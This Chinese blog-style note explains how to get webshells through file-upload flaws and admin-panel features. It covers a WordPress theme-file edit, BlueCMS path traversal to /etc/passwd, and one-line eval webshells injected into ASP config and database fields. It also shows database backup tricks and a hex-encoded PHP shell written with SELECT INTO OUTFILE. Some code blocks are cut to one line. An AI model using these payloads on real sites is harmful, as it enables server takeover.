文件上传漏洞总结
Abstract: 总结文件上传漏洞,包括常规的上传绕过,编辑器漏洞,各种获取webshell的手段。
Table of Contents
文件上传漏洞总结
常规的上传绕过
前期工作
判断类型
根据类型运用具体方法绕过
编辑器漏洞
获取 webshell 的手段
通过文件上传漏洞和编辑器漏洞上传 webshell
直接上传获得 webshell
php 和 jsp 程序比较常见,直接在管理界面上传 .php 或 .jsp 类型。
添加修改上传类型
大多数系统是允许添加上传类型,登录后台可以添加相应类型的 webshell,asp 后台可以添加 asa 、asP 或 .aspasp 类型的 webshell,php 系统的后台,可以添加 .php.未知文件类型。
后台获取 webshell 常用方法
利用后台管理功能写入 webshell
打开管理功能,编辑 php 文件,把小马写入。这种方法难在确认小马所在路径上。
wordpress后台登入后,进入主题修改里面,在404.php文件里加上小马,根据浏览器的url,拼凑路径,/themes/popularis/404.php。然后通过两次安装相同的插件,系统就会报出已在/var/www/html/wp-content/plugins安装的错误,来确定根目录。最后我们把整个路径拼接起来,即访问,http://YouIp/wp-content/themes/popularis/404.php。整个过程要多注意细节,多尝试。BlueCMS后台登入后,进入管理界面,在html编辑功能中,右击编辑字体可以进入到编辑页面,url中存在着文件的路径,可以用file=../../../../../../../../../../../etc/passwd的方法来查看是否可行,输入后服务器目录中/etc/passwd显示出来,可以通过这种方法确定路径。一般情况会在网站根目录下存在
admin文件夹和普通用户的执行文件,admin文件夹里面存放着管理员登录后的执行文件,这个我们可以通过url判断,比如www.xxx.org/admin/xxx.php。我们可以以普通用户查看网页,在网页找到某个abc.php文件,然后让file=../abc.php看是否成功,不成功的话可以继续尝试file=../../abc.php。显示成功后,把一句话木马加上。然后用菜刀按照上次确定的路径连接即可。除此之外,还可以用
burpsuite抓包方法创建.php文件,在管理界面,编辑执行文件,点击提交时,用软件抓包,修改文件名为xxx.php,把文件内容改为一句话木马。之后在通过index.html文件找到文件路径。
利用后台管理向配置文件写 webshell
利用 <% 、 %> 、' 等构造小马程序的配置文件,配置文件保存为 conf.asp ,
1 | <% |
可以修改 name 的值保存。我们可以这样输入 name 的值 abcdef %> <% @eval request("cmd")',第一个 %> 和前面的构成闭合,' 会注释掉第一行后面的内容,文本最后一个 %> 与 @eval 前面的 <% 构成闭合。只有一次尝试机会,构造错误,网站会崩。
利用后台数据库备份及恢复获得 webshell
利用后台对 access 数据库的”备份数据库“或”恢复数据库“功能,”备份的数据库路径“等变量没有过滤导致可以把任意文件后缀改为 asp ,从而获得 webshell,mssql 版程序直接应用 access 代码,同样适用。备份网站 asp 文件为其他后缀如 txt 文件,可以查看并获得网页源码。从而会获得更多程序信息增加获得 webshell机会。
利用数据库压缩功能
将数据的防下载失效从而使插入数据库的小马成功运行,在友情链接添加的 url 写上 <%eval request("cmd")%>,提交后,在数据库操作中压缩数据库,可以成功压缩出 asp 文件。
asp+mssql 系统
动网 mssql 版,可以直接本地提交来备份的,首先在发帖那上传一个写有 asp 代码的假图片,然后记住其上传路径。写一个本地提交的表单,代码如下:
1 | <html> |
另存为 .html 本地执行,把假图片上传路径填在“已上传文件的位置”那里,想要备份的 webshell 的相对路径填写在“要复制到的位置”那里,提交就得到了 webshell。
php+mysql 系统
后台需要有 mysql 数据查询功能,就可以利用它执行 SELECT ... INTO OUTFILE 查询输出 php 文件,因为所有的数据是存放在 mysql 里的,所以可以通过正常手段把 webshell 代码插入 mysql 在利用 SELECT ... INTO OUTFILE 语句导出 shell。在 mysql 操作里输入,如下命令:
1 | SELECT 0x3C3F6576616C28245F504F53545B615D293B3F3E FROM mysql.user INTO OUTFILE "路径" |

就可以获得一个 <?eval($_POST[a]);?> 的小马。
参考文章